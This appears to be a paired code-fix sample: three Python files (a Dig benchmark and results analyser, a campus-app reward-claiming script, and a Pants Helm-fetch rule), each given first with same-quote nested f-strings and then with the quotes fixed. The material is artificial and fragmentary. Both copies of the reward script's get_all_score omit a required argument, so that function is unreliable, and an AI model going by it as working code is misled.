@classmethod def analyze_inv(cls, inv): """ return the # of variables, max deg, and number of terms """ import infer.mp # if isinstance(inv, infer.inv.prepost.PrePost): # mlog.warning("Not very accurate for PREPOST") # vs = [] # maxdegs = 1 # nterms = 1 if isinstance(inv, infer.mp.MMP): vs = inv.term.symbols maxdeg = 1 nterms = 2 else: p = inv.inv vs = p.free_symbols assert p.is_Relational, p maxdeg = Miscs.get_max_deg(p.lhs) nterms = len(p.lhs.args) return vs, maxdeg, nterms class Results: def __init__(self, prog, results): assert isinstance(prog, str), prog assert isinstance(results, list) and results, results assert all(isinstance(r, AResult) for r in results), results self.prog = prog self.results = results def start(self, f): rs = self.results _ = [r.analyze() for r in rs] nruns = len(rs) nlocs = f(len(r.dinvs) for r in rs) V = f(r.V for r in rs) T = f(r.T for r in rs) D = f(r.D for r in rs) NL = f(r.NL for r in rs) invtypss = [r.dinvs.typ_ctr for r in rs] invtypss = self.analyze_dicts(invtypss, f, 'invs') check_solvercallss = [r.check_solvercalls_ctr for r in rs] check_solvercallss = self.analyze_dicts( check_solvercallss, f, '') check_changedepthss = [r.check_changedepths_ctr for r in rs] check_changedepthss = self.analyze_dicts( check_changedepthss, f, 'change depths') check_changevalss = [r.check_changevals_ctr for r in rs] check_changevalss = self.analyze_dicts( check_changevalss, f, 'change vals') max_solvercallss = [r.max_solvercalls_ctr for r in rs] max_solvercallss = self.analyze_dicts( max_solvercallss, f, '') max_changedepthss = [r.max_changedepths_ctr for r in rs] max_changedepthss = self.analyze_dicts( max_changedepthss, f, 'change depths') max_changevalss = [r.max_changevals_ctr for r in rs] time_d = defaultdict(list) for r in rs: for t in r.time_d: time_d[t].append(r.time_d[t]) time_s = ', '.join("{} {:.1f}s".format(t, f(time_d[t])) for t in sorted(time_d)) print(f"* prog {self.prog} locs {nlocs}; " f"{invtypss} V {V} T {T} D {D}; NL {NL} ({D}) ;") print(f"-> time {time_s}") if settings.DO_SOLVER_STATS: print( f"-> checks {check_solvercallss} {check_changedepthss} {check_changevalss}") print(f"-> max {max_solvercallss} {max_changedepthss}") # , max_changevalss if nruns > 1: print(f"runs {nruns}") elif nruns == 1: print(f"rand seed {rs[0].seed}, " f"test {random.randint(0, 100)}") # print(rs[0].dinvs.__str__(print_stat=False)) @ classmethod def analyze_dicts(cls, ds, f, label): ks = set(k for d in ds for k in d) dd = defaultdict(list) for d in ds: for k in ks: try: dd[k].append(d[k]) except KeyError: dd[k].append(0) assert all(len(dd[k]) == len(ds) for k in dd), dd s = [] sizs = [] for k in sorted(dd): t = f(dd[k]) if isinstance(k, tuple): assert len(k) == 2 from_, to_ = k k_str = f"{from_}->{to_}" else: k_str = str(k) s.append((k, k_str, t)) sizs.append(t) s = ', '.join(f"{k_str}: {f(dd[k])}" for k, k_str, t in s) return f"{label} {sum(sizs)} ({s})" class Benchmark: TIMEOUT = settings.BENCHMARK_TIMEOUT def __init__(self, inp, args): assert isinstance(inp, Path), inp assert isinstance(args, argparse.Namespace), args self.inp = inp self.args = args @staticmethod def valid_file(f): return f.is_file() and f.suffix in {'.c', '.java'} def start(self): inp = self.inp args = self.args if self.valid_file(inp): # benchmark single file bfiles = [inp] bstr = inp.stem # CohenDiv elif inp.is_dir(): # benchmark all files in dir bfiles = sorted(f for f in inp.iterdir() if self.valid_file(f)) bstr = str(inp.resolve()).replace('/', '_') # /benchmark/nla else: mlog.error(f"something wrong with {inp}") sys.exit(1) ntimes = args.benchmark_times toruns = [] if args.benchmark_dir: benchmark_dir = Path(args.benchmark_dir).resolve() assert benchmark_dir.is_dir(), benchmark_dir else: import tempfile prefix = f"bm_dig{ntimes}{bstr}_" benchmark_dir = Path(tempfile.mkdtemp( dir=settings.TMPDIR, prefix=prefix)) self.benchmark_dir = benchmark_dir # compute which runs have to do in case there are some existing runs self.toruns = [] myruns = set(range(ntimes)) for i, f in enumerate(bfiles): bmdir = benchmark_dir / f.stem if bmdir.is_dir(): # if there's some previous runs succruns = self.get_success_runs(bmdir) remainruns = list(myruns - succruns) if not remainruns: mlog.info(f"{f} ran, results in {bmdir}") else: mlog.info( f"{f} in {bmdir} needs {len(remainruns)} more runs") else: remainruns = list(myruns) if remainruns: toruns.append((f, bmdir, remainruns)) self.toruns = toruns opts = settings.setup(None, args) self.CMD = (f"timeout {self.TIMEOUT} python3 -O dig.py {opts} " "{filename} -seed {seed} -tmpdir {tmpdir}") import os for i, (f, bdir, remainruns) in enumerate(self.toruns): if not bdir.is_dir(): bdir.mkdir() for j, seed in enumerate(sorted(remainruns)): mlog.info(f"## file {i+1}/{len(self.toruns)}, run {j+1}/{len(remainruns)}, " f"seed {seed}, {time.strftime("%c")}: {f}") try: CMD = self.CMD.format(filename=f, seed=seed, tmpdir=bdir) os.system(CMD) except Exception as ex: mlog.error(f"Something wrong. Exiting!\n{ex}") mlog.info(f"benchmark result dir: {self.benchmark_dir}") @staticmethod def get_success_runs(rundir): assert rundir.is_dir(), rundir runs = set() for rd in rundir.iterdir(): if not rd.is_dir(): mlog.warning(f"Unexpected file {rd}") continue if (rd / Result.resultfile).is_file(): # Dig_2_dxmdlf4y runi = int(rd.stem.split('_')[1]) runs.add(runi) else: mlog.debug(f"deleting incomplete run {rd}") shutil.rmtree(rd) return runs class Analysis: def __init__(self, benchmark_dir, args=None): assert benchmark_dir.is_dir(), benchmark_dir self.benchmark_dir = benchmark_dir.resolve() self.args = args def start(self): results_d = defaultdict(list) def load1(prog, resultdir): try: result = Result.load(resultdir) if prog: results_d[prog].append(result) else: results_d[result.filename.stem].append(result) except FileNotFoundError as ex: mlog.error(ex) pass def load2(dir_): for d in dir_.iterdir(): if d.is_dir(): load1(dir_.stem, d) # rusult for a single run if (self.benchmark_dir / Result.resultfile).is_file(): load1(None, self.benchmark_dir) # results for multiple runs (of a program) elif any((d / Result.resultfile).is_file() for d in self.benchmark_dir.iterdir() if d.is_dir()): load2(self.benchmark_dir) else: # results for multiple program for d in self.benchmark_dir.iterdir(): if d.is_dir(): load2(d) for prog in sorted(results_d): results = [AResult(r) for r in results_d[prog] if r.dinvs.siz] if not results: mlog.warning(f"no results for {prog}") continue stats = Results(prog, results) stats.start(median_low) # stats.analyze(mean)
""" Analyze Dig's results """ import argparse import pdb import random import shutil import sys import time from collections import Counter, defaultdict, namedtuple from pathlib import Path from statistics import median_low import helpers.vcommon as CM import infer.inv import settings from helpers.miscs import Miscs # import infer.mp DBG = pdb.set_trace mlog = CM.getLogger(__name__, settings.LOGGER_LEVEL) CheckSolverCalls = namedtuple("CheckSolverCalls", "stat") CheckDepthChanges = namedtuple("CheckDepthChanges", "prop v1 d1 v2 d2") MaxSolverCalls = namedtuple("MaxSolverCalls", "stat") MaxDepthChanges = namedtuple("MaxDepthChanges", "prop v1 d1 v2 d2") class Result: resultfile: str = 'result' def __init__(self, filename, seed, dinvs, dtraces, stats, time_d): assert isinstance(time_d, dict) and time_d, time_d self.filename = filename self.seed = seed self.dinvs = dinvs self.dtraces = dtraces self.stats = stats self.time_d = time_d def save(self, todir): assert todir.is_dir(), todir CM.vsave(todir / self.resultfile, self) @classmethod def load(cls, fromdir): assert isinstance(fromdir, Path) and fromdir.is_dir(), fromdir return CM.vload(fromdir / cls.resultfile) class AResult(Result): def __init__(self, result): super().__init__(result.filename, result.seed, result.dinvs, result.dtraces, result.stats, result.time_d) self.check_solvercalls = [ s for s in self.stats if isinstance(s, CheckSolverCalls)] self.check_depthchanges = [ s for s in self.stats if isinstance(s, CheckDepthChanges)] self.max_solvercalls = [ s for s in self.stats if isinstance(s, MaxSolverCalls)] self.max_depthchanges = [ s for s in self.stats if isinstance(s, MaxDepthChanges)] # print(len(self.check_solvercalls), self.check_solvercalls) def analyze(self): self.V, self.D, self.T, self.NL = self.analyze_dinvs(self.dinvs) def get_change(x, y, as_str=True): if as_str: x = str(x) y = str(y) else: x = -1 if x is None else x y = -1 if y is None else y return x, y self.check_solvercalls_ctr = Counter( str(x.stat) for x in self.check_solvercalls) self.check_changevals_ctr = Counter( get_change(x.v1, x.v2, as_str=True) for x in self.check_depthchanges if not isinstance(x.prop, infer.inv.FalseInv)) self.check_changedepths_ctr = Counter( get_change(x.d1, x.d2, as_str=False) for x in self.check_depthchanges if not isinstance(x.prop, infer.inv.FalseInv)) self.max_solvercalls_ctr = Counter( str(x.stat) for x in self.max_solvercalls) self.max_changevals_ctr = Counter( get_change(x.v1, x.v2, as_str=True) for x in self.max_depthchanges if not isinstance(x.prop, infer.inv.FalseInv)) self.max_changedepths_ctr = Counter( get_change(x.d1, x.d2, as_str=False) for x in self.max_depthchanges if not isinstance(x.prop, infer.inv.FalseInv)) @classmethod def analyze_dinvs(cls, dinvs): """ Get max vars, terms, deg from invs """ vss = [] maxdegs = [] ntermss = [] for inv in dinvs.invs: vs, maxdeg, nterms = cls.analyze_inv(inv) vss.append(vs) maxdegs.append(maxdeg) ntermss.append(nterms) # print(inv, vs, maxdeg, nterms) vss = set(str(v) for vs in vss for v in vs) nvs = len(vss) maxdeg = max(maxdegs) nterms = max(ntermss) nnonlinears = len([d for d in maxdegs if d >= 2]) return nvs, maxdeg, nterms, nnonlinears @classmethod def analyze_inv(cls, inv): """ return the # of variables, max deg, and number of terms """ import infer.mp # if isinstance(inv, infer.inv.prepost.PrePost): # mlog.warning("Not very accurate for PREPOST") # vs = [] # maxdegs = 1 # nterms = 1 if isinstance(inv, infer.mp.MMP): vs = inv.term.symbols maxdeg = 1 nterms = 2 else: p = inv.inv vs = p.free_symbols assert p.is_Relational, p maxdeg = Miscs.get_max_deg(p.lhs) nterms = len(p.lhs.args) return vs, maxdeg, nterms class Results: def __init__(self, prog, results): assert isinstance(prog, str), prog assert isinstance(results, list) and results, results assert all(isinstance(r, AResult) for r in results), results self.prog = prog self.results = results def start(self, f): rs = self.results _ = [r.analyze() for r in rs] nruns = len(rs) nlocs = f(len(r.dinvs) for r in rs) V = f(r.V for r in rs) T = f(r.T for r in rs) D = f(r.D for r in rs) NL = f(r.NL for r in rs) invtypss = [r.dinvs.typ_ctr for r in rs] invtypss = self.analyze_dicts(invtypss, f, 'invs') check_solvercallss = [r.check_solvercalls_ctr for r in rs] check_solvercallss = self.analyze_dicts( check_solvercallss, f, '') check_changedepthss = [r.check_changedepths_ctr for r in rs] check_changedepthss = self.analyze_dicts( check_changedepthss, f, 'change depths') check_changevalss = [r.check_changevals_ctr for r in rs] check_changevalss = self.analyze_dicts( check_changevalss, f, 'change vals') max_solvercallss = [r.max_solvercalls_ctr for r in rs] max_solvercallss = self.analyze_dicts( max_solvercallss, f, '') max_changedepthss = [r.max_changedepths_ctr for r in rs] max_changedepthss = self.analyze_dicts( max_changedepthss, f, 'change depths') max_changevalss = [r.max_changevals_ctr for r in rs] time_d = defaultdict(list) for r in rs: for t in r.time_d: time_d[t].append(r.time_d[t]) time_s = ', '.join("{} {:.1f}s".format(t, f(time_d[t])) for t in sorted(time_d)) print(f"* prog {self.prog} locs {nlocs}; " f"{invtypss} V {V} T {T} D {D}; NL {NL} ({D}) ;") print(f"-> time {time_s}") if settings.DO_SOLVER_STATS: print( f"-> checks {check_solvercallss} {check_changedepthss} {check_changevalss}") print(f"-> max {max_solvercallss} {max_changedepthss}") # , max_changevalss if nruns > 1: print(f"runs {nruns}") elif nruns == 1: print(f"rand seed {rs[0].seed}, " f"test {random.randint(0, 100)}") # print(rs[0].dinvs.__str__(print_stat=False)) @ classmethod def analyze_dicts(cls, ds, f, label): ks = set(k for d in ds for k in d) dd = defaultdict(list) for d in ds: for k in ks: try: dd[k].append(d[k]) except KeyError: dd[k].append(0) assert all(len(dd[k]) == len(ds) for k in dd), dd s = [] sizs = [] for k in sorted(dd): t = f(dd[k]) if isinstance(k, tuple): assert len(k) == 2 from_, to_ = k k_str = f"{from_}->{to_}" else: k_str = str(k) s.append((k, k_str, t)) sizs.append(t) s = ', '.join(f"{k_str}: {f(dd[k])}" for k, k_str, t in s) return f"{label} {sum(sizs)} ({s})" class Benchmark: TIMEOUT = settings.BENCHMARK_TIMEOUT def __init__(self, inp, args): assert isinstance(inp, Path), inp assert isinstance(args, argparse.Namespace), args self.inp = inp self.args = args @staticmethod def valid_file(f): return f.is_file() and f.suffix in {'.c', '.java'} def start(self): inp = self.inp args = self.args if self.valid_file(inp): # benchmark single file bfiles = [inp] bstr = inp.stem # CohenDiv elif inp.is_dir(): # benchmark all files in dir bfiles = sorted(f for f in inp.iterdir() if self.valid_file(f)) bstr = str(inp.resolve()).replace('/', '_') # /benchmark/nla else: mlog.error(f"something wrong with {inp}") sys.exit(1) ntimes = args.benchmark_times toruns = [] if args.benchmark_dir: benchmark_dir = Path(args.benchmark_dir).resolve() assert benchmark_dir.is_dir(), benchmark_dir else: import tempfile prefix = f"bm_dig{ntimes}{bstr}_" benchmark_dir = Path(tempfile.mkdtemp( dir=settings.TMPDIR, prefix=prefix)) self.benchmark_dir = benchmark_dir # compute which runs have to do in case there are some existing runs self.toruns = [] myruns = set(range(ntimes)) for i, f in enumerate(bfiles): bmdir = benchmark_dir / f.stem if bmdir.is_dir(): # if there's some previous runs succruns = self.get_success_runs(bmdir) remainruns = list(myruns - succruns) if not remainruns: mlog.info(f"{f} ran, results in {bmdir}") else: mlog.info( f"{f} in {bmdir} needs {len(remainruns)} more runs") else: remainruns = list(myruns) if remainruns: toruns.append((f, bmdir, remainruns)) self.toruns = toruns opts = settings.setup(None, args) self.CMD = (f"timeout {self.TIMEOUT} python3 -O dig.py {opts} " "{filename} -seed {seed} -tmpdir {tmpdir}") import os for i, (f, bdir, remainruns) in enumerate(self.toruns): if not bdir.is_dir(): bdir.mkdir() for j, seed in enumerate(sorted(remainruns)): mlog.info(f"## file {i+1}/{len(self.toruns)}, run {j+1}/{len(remainruns)}, " f"seed {seed}, {time.strftime('%c')}: {f}") try: CMD = self.CMD.format(filename=f, seed=seed, tmpdir=bdir) os.system(CMD) except Exception as ex: mlog.error(f"Something wrong. Exiting!\n{ex}") mlog.info(f"benchmark result dir: {self.benchmark_dir}") @staticmethod def get_success_runs(rundir): assert rundir.is_dir(), rundir runs = set() for rd in rundir.iterdir(): if not rd.is_dir(): mlog.warning(f"Unexpected file {rd}") continue if (rd / Result.resultfile).is_file(): # Dig_2_dxmdlf4y runi = int(rd.stem.split('_')[1]) runs.add(runi) else: mlog.debug(f"deleting incomplete run {rd}") shutil.rmtree(rd) return runs class Analysis: def __init__(self, benchmark_dir, args=None): assert benchmark_dir.is_dir(), benchmark_dir self.benchmark_dir = benchmark_dir.resolve() self.args = args def start(self): results_d = defaultdict(list) def load1(prog, resultdir): try: result = Result.load(resultdir) if prog: results_d[prog].append(result) else: results_d[result.filename.stem].append(result) except FileNotFoundError as ex: mlog.error(ex) pass def load2(dir_): for d in dir_.iterdir(): if d.is_dir(): load1(dir_.stem, d) # rusult for a single run if (self.benchmark_dir / Result.resultfile).is_file(): load1(None, self.benchmark_dir) # results for multiple runs (of a program) elif any((d / Result.resultfile).is_file() for d in self.benchmark_dir.iterdir() if d.is_dir()): load2(self.benchmark_dir) else: # results for multiple program for d in self.benchmark_dir.iterdir(): if d.is_dir(): load2(d) for prog in sorted(results_d): results = [AResult(r) for r in results_d[prog] if r.dinvs.siz] if not results: mlog.warning(f"no results for {prog}") continue stats = Results(prog, results) stats.start(median_low) # stats.analyze(mean)
""" 粮票获取 @create:2021/04/24 @filename:ykt_score.py @author:ReaJason @email_addr:reajason@163.com @blog_website:https://reajason.top @last_modify:2021/04/26 """ import requests def get_task_list(token,log): data = f"token={token}" \ "&method=makeScoreTask" \ f"&param=%7B%22token%22%3A%22{token}%22%2C%22qudao%22%3A%220%22%2C%22device%22%3A%221%22%7D" headers = { 'content-type': 'application/x-www-form-urlencoded' } try: res = requests.post("https://server.17wanxiao.com/YKT_Interface/score", data=data, headers=headers).json() if res['result_']: return [{"name": task["name"], "finished": task["finished"]} for task in res['data']['taskList']] except Exception as e: log.warning(f'{e.__class__}:{e} 获取任务列表失败') return None def ykt_check_in(token,log): """ 获取签到粮票 :param token: """ data = f"token={token}" \ "&method=WX_h5signIn" \ f"&param=%7B%22token%22%3A%22{token}%22%7D" headers = { 'content-type': 'application/x-www-form-urlencoded' } try: res = requests.post("https://server.17wanxiao.com/YKT_Interface/xyk", data=data, headers=headers).json() log.info(res['data']['alertMessage']) except: log.warning("签到失败") def get_article_id(token,log): """ 获取文章 id :return: """ post_json = { "typeCode": "campusNews", "pageSize": 10, "pageNo": 1, "token": token } try: res = requests.post("https://information.17wanxiao.com/cms/api/info/list", json=post_json).json() return res['data']['rows'][0]['id'] except: return None def get_article_score(token, article_id,log): """ 查看文章 :param article_id: :param token: :return: """ data = { "id": article_id, "token": token } try: res = requests.post("https://information.17wanxiao.com/cms/api/info/detail", data=data).json() if res['result_']: # log.info('查看文章成功') pass else: log.warning(f'查看文章失败,{res}') except Exception as e: log.warning(f'查看文章失败,{e}') def get_talents_token(token,log): try: res = requests.get(f"https://api.xiaozhao365.com/operation/pub/iface/userInfo?token={token}").json() return res['userInfo']['talents_token'] except: return None def get_class_score(token,log): post_json = {"token": token, "command": "CURRI_SERVER.WEEK_CURRI", "week": ""} try: res = requests.post("https://course.59wanmei.com/campus-score/curriculum/_iface/server/invokInfo.action", json=post_json) if res.status_code == 200: log.info("查看课表成功") else: log.warning("查看课表失败") except Exception as e: log.warning(f"{e} 查看课表失败") def get_score_list(token,log): """ 获取所有的奖励数据 :param token :return: dict """ data = f"token={token}" \ "&method=gainScoreCircleList" \ f"&param=%7B%22token%22%3A%22{token}%22%7D" headers = { 'content-type': 'application/x-www-form-urlencoded' } try: res = requests.post("https://server.17wanxiao.com/YKT_Interface/score", data=data, headers=headers).json() return { 'sign': res['signCircleStatus'], 'active': res['activeCircleList'], 'circle': res['circleList'] } except: return None def get_active_score(token, active_dict,log): """ 获取活动奖励 """ data = f"token={token}" \ "&method=gainActiveScoreCircle" \ f"&param=%7B%22token%22%3A%22{token}%22%2C%22scoreCircleId%22%3A{active_dict["id"]}%7D" headers = { 'content-type': 'application/x-www-form-urlencoded' } try: res = requests.post("https://server.17wanxiao.com/YKT_Interface/score", data=data, headers=headers).json() msg = f'{active_dict['title']}({active_dict['id']}):{active_dict['foodCoupon']}个粮票,' if res['result_']: log.info(msg + res['message_']) else: log.warning(msg + res['message_']) except Exception as e: log.warning(f'{e.__class__}:{e}操作失败') def get_circle_score(token, circle_dict,log): """ 获取其他奖励 """ data = f"token={token}" \ "&method=gainScoreCircle" \ f"&param=%7B%22token%22%3A%22{token}%22%2C%22scoreCircleId%22%3A{circle_dict["id"]}%7D" headers = { 'content-type': 'application/x-www-form-urlencoded' } try: res = requests.post("https://server.17wanxiao.com/YKT_Interface/score", data=data, headers=headers).json() msg = f'{circle_dict['title']}({circle_dict['id']}):{circle_dict['foodCoupon']}个粮票,' if res['result_']: log.info(msg + res['message_']) else: log.warning(msg + res['message_']) except Exception as e: log.warning(f'{e.__class__}:{e}操作失败') def get_all_score(token,log): for _ in range(2): circle_dict_list = get_score_list(token)['circle'] if circle_dict_list: for circle_dict in circle_dict_list: get_circle_score(token, circle_dict) else: break
""" 粮票获取 @create:2021/04/24 @filename:ykt_score.py @author:ReaJason @email_addr:reajason@163.com @blog_website:https://reajason.top @last_modify:2021/04/26 """ import requests def get_task_list(token,log): data = f"token={token}" \ "&method=makeScoreTask" \ f"&param=%7B%22token%22%3A%22{token}%22%2C%22qudao%22%3A%220%22%2C%22device%22%3A%221%22%7D" headers = { 'content-type': 'application/x-www-form-urlencoded' } try: res = requests.post("https://server.17wanxiao.com/YKT_Interface/score", data=data, headers=headers).json() if res['result_']: return [{"name": task["name"], "finished": task["finished"]} for task in res['data']['taskList']] except Exception as e: log.warning(f'{e.__class__}:{e} 获取任务列表失败') return None def ykt_check_in(token,log): """ 获取签到粮票 :param token: """ data = f"token={token}" \ "&method=WX_h5signIn" \ f"&param=%7B%22token%22%3A%22{token}%22%7D" headers = { 'content-type': 'application/x-www-form-urlencoded' } try: res = requests.post("https://server.17wanxiao.com/YKT_Interface/xyk", data=data, headers=headers).json() log.info(res['data']['alertMessage']) except: log.warning("签到失败") def get_article_id(token,log): """ 获取文章 id :return: """ post_json = { "typeCode": "campusNews", "pageSize": 10, "pageNo": 1, "token": token } try: res = requests.post("https://information.17wanxiao.com/cms/api/info/list", json=post_json).json() return res['data']['rows'][0]['id'] except: return None def get_article_score(token, article_id,log): """ 查看文章 :param article_id: :param token: :return: """ data = { "id": article_id, "token": token } try: res = requests.post("https://information.17wanxiao.com/cms/api/info/detail", data=data).json() if res['result_']: # log.info('查看文章成功') pass else: log.warning(f'查看文章失败,{res}') except Exception as e: log.warning(f'查看文章失败,{e}') def get_talents_token(token,log): try: res = requests.get(f"https://api.xiaozhao365.com/operation/pub/iface/userInfo?token={token}").json() return res['userInfo']['talents_token'] except: return None def get_class_score(token,log): post_json = {"token": token, "command": "CURRI_SERVER.WEEK_CURRI", "week": ""} try: res = requests.post("https://course.59wanmei.com/campus-score/curriculum/_iface/server/invokInfo.action", json=post_json) if res.status_code == 200: log.info("查看课表成功") else: log.warning("查看课表失败") except Exception as e: log.warning(f"{e} 查看课表失败") def get_score_list(token,log): """ 获取所有的奖励数据 :param token :return: dict """ data = f"token={token}" \ "&method=gainScoreCircleList" \ f"&param=%7B%22token%22%3A%22{token}%22%7D" headers = { 'content-type': 'application/x-www-form-urlencoded' } try: res = requests.post("https://server.17wanxiao.com/YKT_Interface/score", data=data, headers=headers).json() return { 'sign': res['signCircleStatus'], 'active': res['activeCircleList'], 'circle': res['circleList'] } except: return None def get_active_score(token, active_dict,log): """ 获取活动奖励 """ data = f"token={token}" \ "&method=gainActiveScoreCircle" \ f"&param=%7B%22token%22%3A%22{token}%22%2C%22scoreCircleId%22%3A{active_dict['id']}%7D" headers = { 'content-type': 'application/x-www-form-urlencoded' } try: res = requests.post("https://server.17wanxiao.com/YKT_Interface/score", data=data, headers=headers).json() msg = f'{active_dict["title"]}({active_dict["id"]}):{active_dict["foodCoupon"]}个粮票,' if res['result_']: log.info(msg + res['message_']) else: log.warning(msg + res['message_']) except Exception as e: log.warning(f'{e.__class__}:{e}操作失败') def get_circle_score(token, circle_dict,log): """ 获取其他奖励 """ data = f"token={token}" \ "&method=gainScoreCircle" \ f"&param=%7B%22token%22%3A%22{token}%22%2C%22scoreCircleId%22%3A{circle_dict['id']}%7D" headers = { 'content-type': 'application/x-www-form-urlencoded' } try: res = requests.post("https://server.17wanxiao.com/YKT_Interface/score", data=data, headers=headers).json() msg = f'{circle_dict["title"]}({circle_dict["id"]}):{circle_dict["foodCoupon"]}个粮票,' if res['result_']: log.info(msg + res['message_']) else: log.warning(msg + res['message_']) except Exception as e: log.warning(f'{e.__class__}:{e}操作失败') def get_all_score(token,log): for _ in range(2): circle_dict_list = get_score_list(token)['circle'] if circle_dict_list: for circle_dict in circle_dict_list: get_circle_score(token, circle_dict) else: break
# Copyright 2022 Pants project contributors (see CONTRIBUTORS.md). # Licensed under the Apache License, Version 2.0 (see LICENSE). from __future__ import annotations import logging import os from dataclasses import dataclass from typing import Iterable from pants.backend.helm.resolve import artifacts from pants.backend.helm.resolve.artifacts import HelmArtifact, ResolvedHelmArtifact from pants.backend.helm.target_types import HelmArtifactFieldSet from pants.backend.helm.util_rules.tool import HelmProcess from pants.engine.addresses import Address from pants.engine.collection import Collection from pants.engine.engine_aware import EngineAwareParameter from pants.engine.fs import ( CreateDigest, Digest, DigestSubset, Directory, PathGlobs, RemovePrefix, Snapshot, ) from pants.engine.process import ProcessResult from pants.engine.rules import Get, MultiGet, collect_rules, rule from pants.engine.target import Target from pants.util.logging import LogLevel from pants.util.meta import frozen_after_init from pants.util.strutil import bullet_list, pluralize logger = logging.getLogger(__name__) @dataclass(frozen=True) class FetchedHelmArtifact: artifact: ResolvedHelmArtifact snapshot: Snapshot @property def address(self) -> Address: return self.artifact.address class FetchedHelmArtifacts(Collection[FetchedHelmArtifact]): pass @frozen_after_init @dataclass(unsafe_hash=True) class FetchHelmArfifactsRequest(EngineAwareParameter): field_sets: tuple[HelmArtifactFieldSet, ...] description_of_origin: str def __init__( self, field_sets: Iterable[HelmArtifactFieldSet], *, description_of_origin: str ) -> None: self.field_sets = tuple(field_sets) self.description_of_origin = description_of_origin @classmethod def for_targets( cls, targets: Iterable[Target], *, description_of_origin: str ) -> FetchHelmArfifactsRequest: return cls( [ HelmArtifactFieldSet.create(tgt) for tgt in targets if HelmArtifactFieldSet.is_applicable(tgt) ], description_of_origin=description_of_origin, ) def debug_hint(self) -> str | None: return f"{self.description_of_origin}: fetch {pluralize(len(self.field_sets), "artifact")}" @rule(desc="Fetch third party Helm Chart artifacts", level=LogLevel.DEBUG) async def fetch_helm_artifacts(request: FetchHelmArfifactsRequest) -> FetchedHelmArtifacts: download_prefix = "__downloads" empty_download_digest = await Get(Digest, CreateDigest([Directory(download_prefix)])) artifacts = await MultiGet( Get(ResolvedHelmArtifact, HelmArtifact, HelmArtifact.from_field_set(field_set)) for field_set in request.field_sets ) def create_fetch_process(artifact: ResolvedHelmArtifact) -> HelmProcess: return HelmProcess( argv=[ "pull", artifact.name, "--repo", artifact.location_url, "--version", artifact.version, "--destination", download_prefix, "--untar", ], input_digest=empty_download_digest, description=f"Pulling Helm Chart '{artifact.name}' with version {artifact.version}", output_directories=(download_prefix,), ) download_results = await MultiGet( Get( ProcessResult, HelmProcess, create_fetch_process(artifact), ) for artifact in artifacts ) stripped_artifact_digests = await MultiGet( Get(Digest, RemovePrefix(result.output_digest, download_prefix)) for result in download_results ) # Avoid capturing the tarball that has been downloaded by Helm during the pull. artifact_snapshots = await MultiGet( Get(Snapshot, DigestSubset(digest, PathGlobs([os.path.join(artifact.name, "**")]))) for artifact, digest in zip(artifacts, stripped_artifact_digests) ) fetched_artifacts = [ FetchedHelmArtifact(artifact=artifact, snapshot=snapshot) for artifact, snapshot in zip(artifacts, artifact_snapshots) ] logger.debug( f"Fetched {pluralize(len(fetched_artifacts), "Helm artifact")} corresponding with:\n" f"{bullet_list([artifact.address.spec for artifact in fetched_artifacts], max_elements=10)}" ) return FetchedHelmArtifacts(fetched_artifacts) def rules(): return [*collect_rules(), *artifacts.rules()]
# Copyright 2022 Pants project contributors (see CONTRIBUTORS.md). # Licensed under the Apache License, Version 2.0 (see LICENSE). from __future__ import annotations import logging import os from dataclasses import dataclass from typing import Iterable from pants.backend.helm.resolve import artifacts from pants.backend.helm.resolve.artifacts import HelmArtifact, ResolvedHelmArtifact from pants.backend.helm.target_types import HelmArtifactFieldSet from pants.backend.helm.util_rules.tool import HelmProcess from pants.engine.addresses import Address from pants.engine.collection import Collection from pants.engine.engine_aware import EngineAwareParameter from pants.engine.fs import ( CreateDigest, Digest, DigestSubset, Directory, PathGlobs, RemovePrefix, Snapshot, ) from pants.engine.process import ProcessResult from pants.engine.rules import Get, MultiGet, collect_rules, rule from pants.engine.target import Target from pants.util.logging import LogLevel from pants.util.meta import frozen_after_init from pants.util.strutil import bullet_list, pluralize logger = logging.getLogger(__name__) @dataclass(frozen=True) class FetchedHelmArtifact: artifact: ResolvedHelmArtifact snapshot: Snapshot @property def address(self) -> Address: return self.artifact.address class FetchedHelmArtifacts(Collection[FetchedHelmArtifact]): pass @frozen_after_init @dataclass(unsafe_hash=True) class FetchHelmArfifactsRequest(EngineAwareParameter): field_sets: tuple[HelmArtifactFieldSet, ...] description_of_origin: str def __init__( self, field_sets: Iterable[HelmArtifactFieldSet], *, description_of_origin: str ) -> None: self.field_sets = tuple(field_sets) self.description_of_origin = description_of_origin @classmethod def for_targets( cls, targets: Iterable[Target], *, description_of_origin: str ) -> FetchHelmArfifactsRequest: return cls( [ HelmArtifactFieldSet.create(tgt) for tgt in targets if HelmArtifactFieldSet.is_applicable(tgt) ], description_of_origin=description_of_origin, ) def debug_hint(self) -> str | None: return f"{self.description_of_origin}: fetch {pluralize(len(self.field_sets), 'artifact')}" @rule(desc="Fetch third party Helm Chart artifacts", level=LogLevel.DEBUG) async def fetch_helm_artifacts(request: FetchHelmArfifactsRequest) -> FetchedHelmArtifacts: download_prefix = "__downloads" empty_download_digest = await Get(Digest, CreateDigest([Directory(download_prefix)])) artifacts = await MultiGet( Get(ResolvedHelmArtifact, HelmArtifact, HelmArtifact.from_field_set(field_set)) for field_set in request.field_sets ) def create_fetch_process(artifact: ResolvedHelmArtifact) -> HelmProcess: return HelmProcess( argv=[ "pull", artifact.name, "--repo", artifact.location_url, "--version", artifact.version, "--destination", download_prefix, "--untar", ], input_digest=empty_download_digest, description=f"Pulling Helm Chart '{artifact.name}' with version {artifact.version}", output_directories=(download_prefix,), ) download_results = await MultiGet( Get( ProcessResult, HelmProcess, create_fetch_process(artifact), ) for artifact in artifacts ) stripped_artifact_digests = await MultiGet( Get(Digest, RemovePrefix(result.output_digest, download_prefix)) for result in download_results ) # Avoid capturing the tarball that has been downloaded by Helm during the pull. artifact_snapshots = await MultiGet( Get(Snapshot, DigestSubset(digest, PathGlobs([os.path.join(artifact.name, "**")]))) for artifact, digest in zip(artifacts, stripped_artifact_digests) ) fetched_artifacts = [ FetchedHelmArtifact(artifact=artifact, snapshot=snapshot) for artifact, snapshot in zip(artifacts, artifact_snapshots) ] logger.debug( f"Fetched {pluralize(len(fetched_artifacts), 'Helm artifact')} corresponding with:\n" f"{bullet_list([artifact.address.spec for artifact in fetched_artifacts], max_elements=10)}" ) return FetchedHelmArtifacts(fetched_artifacts) def rules(): return [*collect_rules(), *artifacts.rules()]
